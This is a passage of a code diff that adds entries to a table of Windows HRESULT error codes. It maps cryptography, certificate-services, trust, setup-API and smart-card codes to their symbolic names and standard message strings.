+        0x8009202B: ("CRYPT_E_NO_TRUSTED_SIGNER", "None of the signers of the cryptographic message or certificate trust list is trusted."),
+        0x8009202C: ("CRYPT_E_MISSING_PUBKEY_PARA", "The public key's algorithm parameters are missing."),
+        0x80093000: ("CRYPT_E_OSS_ERROR", "OSS Certificate encode/decode error code base."),
+        0x80093001: ("OSS_MORE_BUF", "OSS ASN.1 Error: Output Buffer is too small."),
+        0x80093002: ("OSS_NEGATIVE_UINTEGER", "OSS ASN.1 Error: Signed integer is encoded as a unsigned integer."),
+        0x80093003: ("OSS_PDU_RANGE", "OSS ASN.1 Error: Unknown ASN.1 data type."),
+        0x80093004: ("OSS_MORE_INPUT", "OSS ASN.1 Error: Output buffer is too small; the decoded data has been truncated."),
+        0x80093005: ("OSS_DATA_ERROR", "OSS ASN.1 Error: Invalid data."),
+        0x80093006: ("OSS_BAD_ARG", "OSS ASN.1 Error: Invalid argument."),
+        0x80093007: ("OSS_BAD_VERSION", "OSS ASN.1 Error: Encode/Decode version mismatch."),
+        0x80093008: ("OSS_OUT_MEMORY", "OSS ASN.1 Error: Out of memory."),
+        0x80093009: ("OSS_PDU_MISMATCH", "OSS ASN.1 Error: Encode/Decode error."),
+        0x8009300A: ("OSS_LIMITED", "OSS ASN.1 Error: Internal error."),
+        0x8009300B: ("OSS_BAD_PTR", "OSS ASN.1 Error: Invalid data."),
+        0x8009300C: ("OSS_BAD_TIME", "OSS ASN.1 Error: Invalid data."),
+        0x8009300D: ("OSS_INDEFINITE_NOT_SUPPORTED", "OSS ASN.1 Error: Unsupported BER indefinite-length encoding."),
+        0x8009300E: ("OSS_MEM_ERROR", "OSS ASN.1 Error: Access violation."),
+        0x8009300F: ("OSS_BAD_TABLE", "OSS ASN.1 Error: Invalid data."),
+        0x80093010: ("OSS_TOO_LONG", "OSS ASN.1 Error: Invalid data."),
+        0x80093011: ("OSS_CONSTRAINT_VIOLATED", "OSS ASN.1 Error: Invalid data."),
+        0x80093012: ("OSS_FATAL_ERROR", "OSS ASN.1 Error: Internal error."),
+        0x80093013: ("OSS_ACCESS_SERIALIZATION_ERROR", "OSS ASN.1 Error: Multithreading conflict."),
+        0x80093014: ("OSS_NULL_TBL", "OSS ASN.1 Error: Invalid data."),
+        0x80093015: ("OSS_NULL_FCN", "OSS ASN.1 Error: Invalid data."),
+        0x80093016: ("OSS_BAD_ENCRULES", "OSS ASN.1 Error: Invalid data."),
+        0x80093017: ("OSS_UNAVAIL_ENCRULES", "OSS ASN.1 Error: Encode/Decode function not implemented."),
+        0x80093018: ("OSS_CANT_OPEN_TRACE_WINDOW", "OSS ASN.1 Error: Trace file error."),
+        0x80093019: ("OSS_UNIMPLEMENTED", "OSS ASN.1 Error: Function not implemented."),
+        0x8009301A: ("OSS_OID_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x8009301B: ("OSS_CANT_OPEN_TRACE_FILE", "OSS ASN.1 Error: Trace file error."),
+        0x8009301C: ("OSS_TRACE_FILE_ALREADY_OPEN", "OSS ASN.1 Error: Trace file error."),
+        0x8009301D: ("OSS_TABLE_MISMATCH", "OSS ASN.1 Error: Invalid data."),
+        0x8009301E: ("OSS_TYPE_NOT_SUPPORTED", "OSS ASN.1 Error: Invalid data."),
+        0x8009301F: ("OSS_REAL_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093020: ("OSS_REAL_CODE_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093021: ("OSS_OUT_OF_RANGE", "OSS ASN.1 Error: Program link error."),
+        0x80093022: ("OSS_COPIER_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093023: ("OSS_CONSTRAINT_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093024: ("OSS_COMPARATOR_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093025: ("OSS_COMPARATOR_CODE_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093026: ("OSS_MEM_MGR_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093027: ("OSS_PDV_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093028: ("OSS_PDV_CODE_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x80093029: ("OSS_API_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x8009302A: ("OSS_BERDER_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x8009302B: ("OSS_PER_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
+        0x8009302C: ("OSS_OPEN_TYPE_ERROR", "OSS ASN.1 Error: Program link error."),
+        0x8009302D: ("OSS_MUTEX_NOT_CREATED", "OSS ASN.1 Error: System resource error."),
+        0x8009302E: ("OSS_CANT_CLOSE_TRACE_FILE", "OSS ASN.1 Error: Trace file error."),
+        0x80093100: ("CRYPT_E_ASN1_ERROR", "ASN1 Certificate encode/decode error code base."),
+        0x80093101: ("CRYPT_E_ASN1_INTERNAL", "ASN1 internal encode or decode error."),
+        0x80093102: ("CRYPT_E_ASN1_EOD", "ASN1 unexpected end of data."),
+        0x80093103: ("CRYPT_E_ASN1_CORRUPT", "ASN1 corrupted data."),
+        0x80093104: ("CRYPT_E_ASN1_LARGE", "ASN1 value too large."),
+        0x80093105: ("CRYPT_E_ASN1_CONSTRAINT", "ASN1 constraint violated."),
+        0x80093106: ("CRYPT_E_ASN1_MEMORY", "ASN1 out of memory."),
+        0x80093107: ("CRYPT_E_ASN1_OVERFLOW", "ASN1 buffer overflow."),
+        0x80093108: ("CRYPT_E_ASN1_BADPDU", "ASN1 function not supported for this protocol data unit (PDU)."),
+        0x80093109: ("CRYPT_E_ASN1_BADARGS", "ASN1 bad arguments to function call."),
+        0x8009310A: ("CRYPT_E_ASN1_BADREAL", "ASN1 bad real value."),
+        0x8009310B: ("CRYPT_E_ASN1_BADTAG", "ASN1 bad tag value met."),
+        0x8009310C: ("CRYPT_E_ASN1_CHOICE", "ASN1 bad choice value."),
+        0x8009310D: ("CRYPT_E_ASN1_RULE", "ASN1 bad encoding rule."),
+        0x8009310E: ("CRYPT_E_ASN1_UTF8", "ASN1 bad Unicode (UTF8)."),
+        0x80093133: ("CRYPT_E_ASN1_PDU_TYPE", "ASN1 bad PDU type."),
+        0x80093134: ("CRYPT_E_ASN1_NYI", "ASN1 not yet implemented."),
+        0x80093201: ("CRYPT_E_ASN1_EXTENDED", "ASN1 skipped unknown extensions."),
+        0x80093202: ("CRYPT_E_ASN1_NOEOD", "ASN1 end of data expected."),
+        0x80094001: ("CERTSRV_E_BAD_REQUESTSUBJECT", "The request subject name is invalid or too long."),
+        0x80094002: ("CERTSRV_E_NO_REQUEST", "The request does not exist."),
+        0x80094003: ("CERTSRV_E_BAD_REQUESTSTATUS", "The request's current status does not allow this operation."),
+        0x80094004: ("CERTSRV_E_PROPERTY_EMPTY", "The requested property value is empty."),
+        0x80094005: ("CERTSRV_E_INVALID_CA_CERTIFICATE", "The CA's certificate contains invalid data."),
+        0x80094006: ("CERTSRV_E_SERVER_SUSPENDED", "Certificate service has been suspended for a database restore operation."),
+        0x80094007: ("CERTSRV_E_ENCODING_LENGTH", "The certificate contains an encoded length that is potentially incompatible with older enrollment software."),
+        0x80094008: ("CERTSRV_E_ROLECONFLICT", "The operation is denied. The user has multiple roles assigned, and the CA is configured to enforce role separation."),
+        0x80094009: ("CERTSRV_E_RESTRICTEDOFFICER", "The operation is denied. It can only be performed by a certificate manager that is allowed to manage certificates for the current requester."),
+        0x8009400A: ("CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED", "Cannot archive private key. The CA is not configured for key archival."),
+        0x8009400B: ("CERTSRV_E_NO_VALID_KRA", "Cannot archive private key. The CA could not verify one or more key recovery certificates."),
+        0x8009400C: ("CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL", "The request is incorrectly formatted. The encrypted private key must be in an unauthenticated attribute in an outermost signature."),
+        0x8009400D: ("CERTSRV_E_NO_CAADMIN_DEFINED", "At least one security principal must have the permission to manage this CA."),
+        0x8009400E: ("CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE", "The request contains an invalid renewal certificate attribute."),
+        0x8009400F: ("CERTSRV_E_NO_DB_SESSIONS", "An attempt was made to open a CA database session, but there are already too many active sessions. The server may need to be configured to allow additional sessions."),
+        0x80094010: ("CERTSRV_E_ALIGNMENT_FAULT", "A memory reference caused a data alignment fault."),
+        0x80094011: ("CERTSRV_E_ENROLL_DENIED", "The permissions on this CA do not allow the current user to enroll for certificates."),
+        0x80094012: ("CERTSRV_E_TEMPLATE_DENIED", "The permissions on the certificate template do not allow the current user to enroll for this type of certificate."),
+        0x80094013: ("CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE", "The contacted domain controller cannot support signed Lightweight Directory Access Protocol (LDAP) traffic. Update the domain controller or configure Certificate Services to use SSL for Active Directory access."),
+        0x80094800: ("CERTSRV_E_UNSUPPORTED_CERT_TYPE", "The requested certificate template is not supported by this CA."),
+        0x80094801: ("CERTSRV_E_NO_CERT_TYPE", "The request contains no certificate template information."),
+        0x80094802: ("CERTSRV_E_TEMPLATE_CONFLICT", "The request contains conflicting template information."),
+        0x80094803: ("CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED", "The request is missing a required Subject Alternate name extension."),
+        0x80094804: ("CERTSRV_E_ARCHIVED_KEY_REQUIRED", "The request is missing a required private key for archival by the server."),
+        0x80094805: ("CERTSRV_E_SMIME_REQUIRED", "The request is missing a required SMIME capabilities extension."),
+        0x80094806: ("CERTSRV_E_BAD_RENEWAL_SUBJECT", "The request was made on behalf of a subject other than the caller. The certificate template must be configured to require at least one signature to authorize the request."),
+        0x80094807: ("CERTSRV_E_BAD_TEMPLATE_VERSION", "The request template version is newer than the supported template version."),
+        0x80094808: ("CERTSRV_E_TEMPLATE_POLICY_REQUIRED", "The template is missing a required signature policy attribute."),
+        0x80094809: ("CERTSRV_E_SIGNATURE_POLICY_REQUIRED", "The request is missing required signature policy information."),
+        0x8009480A: ("CERTSRV_E_SIGNATURE_COUNT", "The request is missing one or more required signatures."),
+        0x8009480B: ("CERTSRV_E_SIGNATURE_REJECTED", "One or more signatures did not include the required application or issuance policies. The request is missing one or more required valid signatures."),
+        0x8009480C: ("CERTSRV_E_ISSUANCE_POLICY_REQUIRED", "The request is missing one or more required signature issuance policies."),
+        0x8009480D: ("CERTSRV_E_SUBJECT_UPN_REQUIRED", "The UPN is unavailable and cannot be added to the Subject Alternate name."),
+        0x8009480E: ("CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED", "The Active Directory GUID is unavailable and cannot be added to the Subject Alternate name."),
+        0x8009480F: ("CERTSRV_E_SUBJECT_DNS_REQUIRED", "The Domain Name System (DNS) name is unavailable and cannot be added to the Subject Alternate name."),
+        0x80094810: ("CERTSRV_E_ARCHIVED_KEY_UNEXPECTED", "The request includes a private key for archival by the server, but key archival is not enabled for the specified certificate template."),
+        0x80094811: ("CERTSRV_E_KEY_LENGTH", "The public key does not meet the minimum size required by the specified certificate template."),
+        0x80094812: ("CERTSRV_E_SUBJECT_EMAIL_REQUIRED", "The email name is unavailable and cannot be added to the Subject or Subject Alternate name."),
+        0x80094813: ("CERTSRV_E_UNKNOWN_CERT_TYPE", "One or more certificate templates to be enabled on this CA could not be found."),
+        0x80094814: ("CERTSRV_E_CERT_TYPE_OVERLAP", "The certificate template renewal period is longer than the certificate validity period. The template should be reconfigured or the CA certificate renewed."),
+        0x80094815: ("CERTSRV_E_TOO_MANY_SIGNATURES", "The certificate template requires too many return authorization (RA) signatures. Only one RA signature is allowed."),
+        0x80094816: ("CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY", "The key used in a renewal request does not match one of the certificates being renewed."),
+        0x80094817: ("CERTSRV_E_INVALID_EK", "The endorsement key certificate is not valid."),
+        0x8009481A: ("CERTSRV_E_KEY_ATTESTATION", "Key attestation did not succeed."),
+        0x80095000: ("XENROLL_E_KEY_NOT_EXPORTABLE", "The key is not exportable."),
+        0x80095001: ("XENROLL_E_CANNOT_ADD_ROOT_CERT", "You cannot add the root CA certificate into your local store."),
+        0x80095002: ("XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND", "The key archival hash attribute was not found in the response."),
+        0x80095003: ("XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH", "An unexpected key archival hash attribute was found in the response."),
+        0x80095004: ("XENROLL_E_RESPONSE_KA_HASH_MISMATCH", "There is a key archival hash mismatch between the request and the response."),
+        0x80095005: ("XENROLL_E_KEYSPEC_SMIME_MISMATCH", "Signing certificate cannot include SMIME extension."),
+        0x80096001: ("TRUST_E_SYSTEM_ERROR", "A system-level error occurred while verifying trust."),
+        0x80096002: ("TRUST_E_NO_SIGNER_CERT", "The certificate for the signer of the message is invalid or not found."),
+        0x80096003: ("TRUST_E_COUNTER_SIGNER", "One of the counter signatures was invalid."),
+        0x80096004: ("TRUST_E_CERT_SIGNATURE", "The signature of the certificate cannot be verified."),
+        0x80096005: ("TRUST_E_TIME_STAMP", "The time-stamp signature or certificate could not be verified or is malformed."),
+        0x80096010: ("TRUST_E_BAD_DIGEST", "The digital signature of the object did not verify."),
+        0x80096019: ("TRUST_E_BASIC_CONSTRAINTS", "A certificate's basic constraint extension has not been observed."),
+        0x8009601E: ("TRUST_E_FINANCIAL_CRITERIA", "The certificate does not meet or contain the Authenticode financial extensions."),
+        0x80097001: ("MSSIPOTF_E_OUTOFMEMRANGE", "Tried to reference a part of the file outside the proper range."),
+        0x80097002: ("MSSIPOTF_E_CANTGETOBJECT", "Could not retrieve an object from the file."),
+        0x80097003: ("MSSIPOTF_E_NOHEADTABLE", "Could not find the head table in the file."),
+        0x80097004: ("MSSIPOTF_E_BAD_MAGICNUMBER", "The magic number in the head table is incorrect."),
+        0x80097005: ("MSSIPOTF_E_BAD_OFFSET_TABLE", "The offset table has incorrect values."),
+        0x80097006: ("MSSIPOTF_E_TABLE_TAGORDER", "Duplicate table tags or the tags are out of alphabetical order."),
+        0x80097007: ("MSSIPOTF_E_TABLE_LONGWORD", "A table does not start on a long word boundary."),
+        0x80097008: ("MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT", "First table does not appear after header information."),
+        0x80097009: ("MSSIPOTF_E_TABLES_OVERLAP", "Two or more tables overlap."),
+        0x8009700A: ("MSSIPOTF_E_TABLE_PADBYTES", "Too many pad bytes between tables, or pad bytes are not 0."),
+        0x8009700B: ("MSSIPOTF_E_FILETOOSMALL", "File is too small to contain the last table."),
+        0x8009700C: ("MSSIPOTF_E_TABLE_CHECKSUM", "A table checksum is incorrect."),
+        0x8009700D: ("MSSIPOTF_E_FILE_CHECKSUM", "The file checksum is incorrect."),
+        0x80097010: ("MSSIPOTF_E_FAILED_POLICY", "The signature does not have the correct attributes for the policy."),
+        0x80097011: ("MSSIPOTF_E_FAILED_HINTS_CHECK", "The file did not pass the hints check."),
+        0x80097012: ("MSSIPOTF_E_NOT_OPENTYPE", "The file is not an OpenType file."),
+        0x80097013: ("MSSIPOTF_E_FILE", "Failed on a file operation (such as open, map, read, or write)."),
+        0x80097014: ("MSSIPOTF_E_CRYPT", "A call to a CryptoAPI function failed."),
+        0x80097015: ("MSSIPOTF_E_BADVERSION", "There is a bad version number in the file."),
+        0x80097016: ("MSSIPOTF_E_DSIG_STRUCTURE", "The structure of the DSIG table is incorrect."),
+        0x80097017: ("MSSIPOTF_E_PCONST_CHECK", "A check failed in a partially constant table."),
+        0x80097018: ("MSSIPOTF_E_STRUCTURE", "Some kind of structural error."),
+        0x80097019: ("ERROR_CRED_REQUIRES_CONFIRMATION", "The requested credential requires confirmation."),
+        0x800B0001: ("TRUST_E_PROVIDER_UNKNOWN", "Unknown trust provider."),
+        0x800B0002: ("TRUST_E_ACTION_UNKNOWN", "The trust verification action specified is not supported by the specified trust provider."),
+        0x800B0003: ("TRUST_E_SUBJECT_FORM_UNKNOWN", "The form specified for the subject is not one supported or known by the specified trust provider."),
+        0x800B0004: ("TRUST_E_SUBJECT_NOT_TRUSTED", "The subject is not trusted for the specified action."),
+        0x800B0005: ("DIGSIG_E_ENCODE", "Error due to problem in ASN.1 encoding process."),
+        0x800B0006: ("DIGSIG_E_DECODE", "Error due to problem in ASN.1 decoding process."),
+        0x800B0007: ("DIGSIG_E_EXTENSIBILITY", "Reading/writing extensions where attributes are appropriate, and vice versa."),
+        0x800B0008: ("DIGSIG_E_CRYPTO", "Unspecified cryptographic failure."),
+        0x800B0009: ("PERSIST_E_SIZEDEFINITE", "The size of the data could not be determined."),
+        0x800B000A: ("PERSIST_E_SIZEINDEFINITE", "The size of the indefinite-sized data could not be determined."),
+        0x800B000B: ("PERSIST_E_NOTSELFSIZING", "This object does not read and write self-sizing data."),
+        0x800B0100: ("TRUST_E_NOSIGNATURE", "No signature was present in the subject."),
+        0x800B0101: ("CERT_E_EXPIRED", "A required certificate is not within its validity period when verifying against the current system clock or the time stamp in the signed file."),
+        0x800B0102: ("CERT_E_VALIDITYPERIODNESTING", "The validity periods of the certification chain do not nest correctly."),
+        0x800B0103: ("CERT_E_ROLE", "A certificate that can only be used as an end entity is being used as a CA or vice versa."),
+        0x800B0104: ("CERT_E_PATHLENCONST", "A path length constraint in the certification chain has been violated."),
+        0x800B0105: ("CERT_E_CRITICAL", "A certificate contains an unknown extension that is marked \"critical\"."),
+        0x800B0106: ("CERT_E_PURPOSE", "A certificate is being used for a purpose other than the ones specified by its CA."),
+        0x800B0107: ("CERT_E_ISSUERCHAINING", "A parent of a given certificate did not issue that child certificate."),
+        0x800B0108: ("CERT_E_MALFORMED", "A certificate is missing or has an empty value for an important field, such as a subject or issuer name."),
+        0x800B0109: ("CERT_E_UNTRUSTEDROOT", "A certificate chain processed, but terminated in a root certificate that is not trusted by the trust provider."),
+        0x800B010A: ("CERT_E_CHAINING", "A certificate chain could not be built to a trusted root authority."),
+        0x800B010B: ("TRUST_E_FAIL", "Generic trust failure."),
+        0x800B010C: ("CERT_E_REVOKED", "A certificate was explicitly revoked by its issuer."),
+        0x800B010D: ("CERT_E_UNTRUSTEDTESTROOT", "The certification path terminates with the test root that is not trusted with the current policy settings."),
+        0x800B010E: ("CERT_E_REVOCATION_FAILURE", "The revocation process could not continue-the certificates could not be checked."),
+        0x800B010F: ("CERT_E_CN_NO_MATCH", "The certificate's CN name does not match the passed value."),
+        0x800B0110: ("CERT_E_WRONG_USAGE", "The certificate is not valid for the requested usage."),
+        0x800B0111: ("TRUST_E_EXPLICIT_DISTRUST", "The certificate was explicitly marked as untrusted by the user."),
+        0x800B0112: ("CERT_E_UNTRUSTEDCA", "A certification chain processed correctly, but one of the CA certificates is not trusted by the policy provider."),
+        0x800B0113: ("CERT_E_INVALID_POLICY", "The certificate has invalid policy."),
+        0x800B0114: ("CERT_E_INVALID_NAME", "The certificate has an invalid name. The name is not included in the permitted list or is explicitly excluded."),
+        0x800D0003: ("NS_W_SERVER_BANDWIDTH_LIMIT", "The maximum filebitrate value specified is greater than the server's configured maximum bandwidth."),
+        0x800D0004: ("NS_W_FILE_BANDWIDTH_LIMIT", "The maximum bandwidth value specified is less than the maximum filebitrate."),
+        0x800D0060: ("NS_W_UNKNOWN_EVENT", "Unknown %1 event encountered."),
+        0x800D0199: ("NS_I_CATATONIC_FAILURE", "Disk %1 ( %2 ) on Content Server %3, will be failed because it is catatonic."),
+        0x800D019A: ("NS_I_CATATONIC_AUTO_UNFAIL", "Disk %1 ( %2 ) on Content Server %3, auto online from catatonic state."),
+        0x800F0000: ("SPAPI_E_EXPECTED_SECTION_NAME", "A non-empty line was encountered in the INF before the start of a section."),
+        0x800F0001: ("SPAPI_E_BAD_SECTION_NAME_LINE", "A section name marker in the information file (INF) is not complete or does not exist on a line by itself."),
+        0x800F0002: ("SPAPI_E_SECTION_NAME_TOO_LONG", "An INF section was encountered whose name exceeds the maximum section name length."),
+        0x800F0003: ("SPAPI_E_GENERAL_SYNTAX", "The syntax of the INF is invalid."),
+        0x800F0100: ("SPAPI_E_WRONG_INF_STYLE", "The style of the INF is different than what was requested."),
+        0x800F0101: ("SPAPI_E_SECTION_NOT_FOUND", "The required section was not found in the INF."),
+        0x800F0102: ("SPAPI_E_LINE_NOT_FOUND", "The required line was not found in the INF."),
+        0x800F0103: ("SPAPI_E_NO_BACKUP", "The files affected by the installation of this file queue have not been backed up for uninstall."),
+        0x800F0200: ("SPAPI_E_NO_ASSOCIATED_CLASS", "The INF or the device information set or element does not have an associated install class."),
+        0x800F0201: ("SPAPI_E_CLASS_MISMATCH", "The INF or the device information set or element does not match the specified install class."),
+        0x800F0202: ("SPAPI_E_DUPLICATE_FOUND", "An existing device was found that is a duplicate of the device being manually installed."),
+        0x800F0203: ("SPAPI_E_NO_DRIVER_SELECTED", "There is no driver selected for the device information set or element."),
+        0x800F0204: ("SPAPI_E_KEY_DOES_NOT_EXIST", "The requested device registry key does not exist."),
+        0x800F0205: ("SPAPI_E_INVALID_DEVINST_NAME", "The device instance name is invalid."),
+        0x800F0206: ("SPAPI_E_INVALID_CLASS", "The install class is not present or is invalid."),
+        0x800F0207: ("SPAPI_E_DEVINST_ALREADY_EXISTS", "The device instance cannot be created because it already exists."),
+        0x800F0208: ("SPAPI_E_DEVINFO_NOT_REGISTERED", "The operation cannot be performed on a device information element that has not been registered."),
+        0x800F0209: ("SPAPI_E_INVALID_REG_PROPERTY", "The device property code is invalid."),
+        0x800F020A: ("SPAPI_E_NO_INF", "The INF from which a driver list is to be built does not exist."),
+        0x800F020B: ("SPAPI_E_NO_SUCH_DEVINST", "The device instance does not exist in the hardware tree."),
+        0x800F020C: ("SPAPI_E_CANT_LOAD_CLASS_ICON", "The icon representing this install class cannot be loaded."),
+        0x800F020D: ("SPAPI_E_INVALID_CLASS_INSTALLER", "The class installer registry entry is invalid."),
+        0x800F020E: ("SPAPI_E_DI_DO_DEFAULT", "The class installer has indicated that the default action should be performed for this installation request."),
+        0x800F020F: ("SPAPI_E_DI_NOFILECOPY", "The operation does not require any files to be copied."),
+        0x800F0210: ("SPAPI_E_INVALID_HWPROFILE", "The specified hardware profile does not exist."),
+        0x800F0211: ("SPAPI_E_NO_DEVICE_SELECTED", "There is no device information element currently selected for this device information set."),
+        0x800F0212: ("SPAPI_E_DEVINFO_LIST_LOCKED", "The operation cannot be performed because the device information set is locked."),
+        0x800F0213: ("SPAPI_E_DEVINFO_DATA_LOCKED", "The operation cannot be performed because the device information element is locked."),
+        0x800F0214: ("SPAPI_E_DI_BAD_PATH", "The specified path does not contain any applicable device INFs."),
+        0x800F0215: ("SPAPI_E_NO_CLASSINSTALL_PARAMS", "No class installer parameters have been set for the device information set or element."),
+        0x800F0216: ("SPAPI_E_FILEQUEUE_LOCKED", "The operation cannot be performed because the file queue is locked."),
+        0x800F0217: ("SPAPI_E_BAD_SERVICE_INSTALLSECT", "A service installation section in this INF is invalid."),
+        0x800F0218: ("SPAPI_E_NO_CLASS_DRIVER_LIST", "There is no class driver list for the device information element."),
+        0x800F0219: ("SPAPI_E_NO_ASSOCIATED_SERVICE", "The installation failed because a function driver was not specified for this device instance."),
+        0x800F021A: ("SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE", "There is presently no default device interface designated for this interface class."),
+        0x800F021B: ("SPAPI_E_DEVICE_INTERFACE_ACTIVE", "The operation cannot be performed because the device interface is currently active."),
+        0x800F021C: ("SPAPI_E_DEVICE_INTERFACE_REMOVED", "The operation cannot be performed because the device interface has been removed from the system."),
+        0x800F021D: ("SPAPI_E_BAD_INTERFACE_INSTALLSECT", "An interface installation section in this INF is invalid."),
+        0x800F021E: ("SPAPI_E_NO_SUCH_INTERFACE_CLASS", "This interface class does not exist in the system."),
+        0x800F021F: ("SPAPI_E_INVALID_REFERENCE_STRING", "The reference string supplied for this interface device is invalid."),
+        0x800F0220: ("SPAPI_E_INVALID_MACHINENAME", "The specified machine name does not conform to Universal Naming Convention (UNCs)."),
+        0x800F0221: ("SPAPI_E_REMOTE_COMM_FAILURE", "A general remote communication error occurred."),
+        0x800F0222: ("SPAPI_E_MACHINE_UNAVAILABLE", "The machine selected for remote communication is not available at this time."),
+        0x800F0223: ("SPAPI_E_NO_CONFIGMGR_SERVICES", "The Plug and Play service is not available on the remote machine."),
+        0x800F0224: ("SPAPI_E_INVALID_PROPPAGE_PROVIDER", "The property page provider registry entry is invalid."),
+        0x800F0225: ("SPAPI_E_NO_SUCH_DEVICE_INTERFACE", "The requested device interface is not present in the system."),
+        0x800F0226: ("SPAPI_E_DI_POSTPROCESSING_REQUIRED", "The device's co-installer has additional work to perform after installation is complete."),
+        0x800F0227: ("SPAPI_E_INVALID_COINSTALLER", "The device's co-installer is invalid."),
+        0x800F0228: ("SPAPI_E_NO_COMPAT_DRIVERS", "There are no compatible drivers for this device."),
+        0x800F0229: ("SPAPI_E_NO_DEVICE_ICON", "There is no icon that represents this device or device type."),
+        0x800F022A: ("SPAPI_E_INVALID_INF_LOGCONFIG", "A logical configuration specified in this INF is invalid."),
+        0x800F022B: ("SPAPI_E_DI_DONT_INSTALL", "The class installer has denied the request to install or upgrade this device."),
+        0x800F022C: ("SPAPI_E_INVALID_FILTER_DRIVER", "One of the filter drivers installed for this device is invalid."),
+        0x800F022D: ("SPAPI_E_NON_WINDOWS_NT_DRIVER", "The driver selected for this device does not support Windows XP."),
+        0x800F022E: ("SPAPI_E_NON_WINDOWS_DRIVER", "The driver selected for this device does not support Windows."),
+        0x800F022F: ("SPAPI_E_NO_CATALOG_FOR_OEM_INF", "The third-party INF does not contain digital signature information."),
+        0x800F0230: ("SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE", "An invalid attempt was made to use a device installation file queue for verification of digital signatures relative to other platforms."),
+        0x800F0231: ("SPAPI_E_NOT_DISABLEABLE", "The device cannot be disabled."),
+        0x800F0232: ("SPAPI_E_CANT_REMOVE_DEVINST", "The device could not be dynamically removed."),
+        0x800F0233: ("SPAPI_E_INVALID_TARGET", "Cannot copy to specified target."),
+        0x800F0234: ("SPAPI_E_DRIVER_NONNATIVE", "Driver is not intended for this platform."),
+        0x800F0235: ("SPAPI_E_IN_WOW64", "Operation not allowed in WOW64."),
+        0x800F0236: ("SPAPI_E_SET_SYSTEM_RESTORE_POINT", "The operation involving unsigned file copying was rolled back, so that a system restore point could be set."),
+        0x800F0237: ("SPAPI_E_INCORRECTLY_COPIED_INF", "An INF was copied into the Windows INF directory in an improper manner."),
+        0x800F0238: ("SPAPI_E_SCE_DISABLED", "The Security Configuration Editor (SCE) APIs have been disabled on this embedded product."),
+        0x800F0239: ("SPAPI_E_UNKNOWN_EXCEPTION", "An unknown exception was encountered."),
+        0x800F023A: ("SPAPI_E_PNP_REGISTRY_ERROR", "A problem was encountered when accessing the Plug and Play registry database."),
+        0x800F023B: ("SPAPI_E_REMOTE_REQUEST_UNSUPPORTED", "The requested operation is not supported for a remote machine."),
+        0x800F023C: ("SPAPI_E_NOT_AN_INSTALLED_OEM_INF", "The specified file is not an installed original equipment manufacturer (OEM) INF."),
+        0x800F023D: ("SPAPI_E_INF_IN_USE_BY_DEVICES", "One or more devices are presently installed using the specified INF."),
+        0x800F023E: ("SPAPI_E_DI_FUNCTION_OBSOLETE", "The requested device install operation is obsolete."),
+        0x800F023F: ("SPAPI_E_NO_AUTHENTICODE_CATALOG", "A file could not be verified because it does not have an associated catalog signed via Authenticode."),
+        0x800F0240: ("SPAPI_E_AUTHENTICODE_DISALLOWED", "Authenticode signature verification is not supported for the specified INF."),
+        0x800F0241: ("SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER", "The INF was signed with an Authenticode catalog from a trusted publisher."),
+        0x800F0242: ("SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED", "The publisher of an Authenticode-signed catalog has not yet been established as trusted."),
+        0x800F0243: ("SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED", "The publisher of an Authenticode-signed catalog was not established as trusted."),
+        0x800F0244: ("SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH", "The software was tested for compliance with Windows logo requirements on a different version of Windows and may not be compatible with this version."),
+        0x800F0245: ("SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE", "The file may be validated only by a catalog signed via Authenticode."),
+        0x800F0246: ("SPAPI_E_DEVICE_INSTALLER_NOT_READY", "One of the installers for this device cannot perform the installation at this time."),
+        0x800F0247: ("SPAPI_E_DRIVER_STORE_ADD_FAILED", "A problem was encountered while attempting to add the driver to the store."),
+        0x800F0248: ("SPAPI_E_DEVICE_INSTALL_BLOCKED", "The installation of this device is forbidden by system policy. Contact your system administrator."),
+        0x800F0249: ("SPAPI_E_DRIVER_INSTALL_BLOCKED", "The installation of this driver is forbidden by system policy. Contact your system administrator."),
+        0x800F024A: ("SPAPI_E_WRONG_INF_TYPE", "The specified INF is the wrong type for this operation."),
+        0x800F024B: ("SPAPI_E_FILE_HASH_NOT_IN_CATALOG", "The hash for the file is not present in the specified catalog file. The file is likely corrupt or the victim of tampering."),
+        0x800F024C: ("SPAPI_E_DRIVER_STORE_DELETE_FAILED", "A problem was encountered while attempting to delete the driver from the store."),
+        0x800F0300: ("SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW", "An unrecoverable stack overflow was encountered."),
+        0x800F1000: ("SPAPI_E_ERROR_NOT_INSTALLED", "No installed components were detected."),
+        0x80100001: ("SCARD_F_INTERNAL_ERROR", "An internal consistency check failed."),
+        0x80100002: ("SCARD_E_CANCELLED", "The action was canceled by an SCardCancel request."),
+        0x80100003: ("SCARD_E_INVALID_HANDLE", "The supplied handle was invalid."),
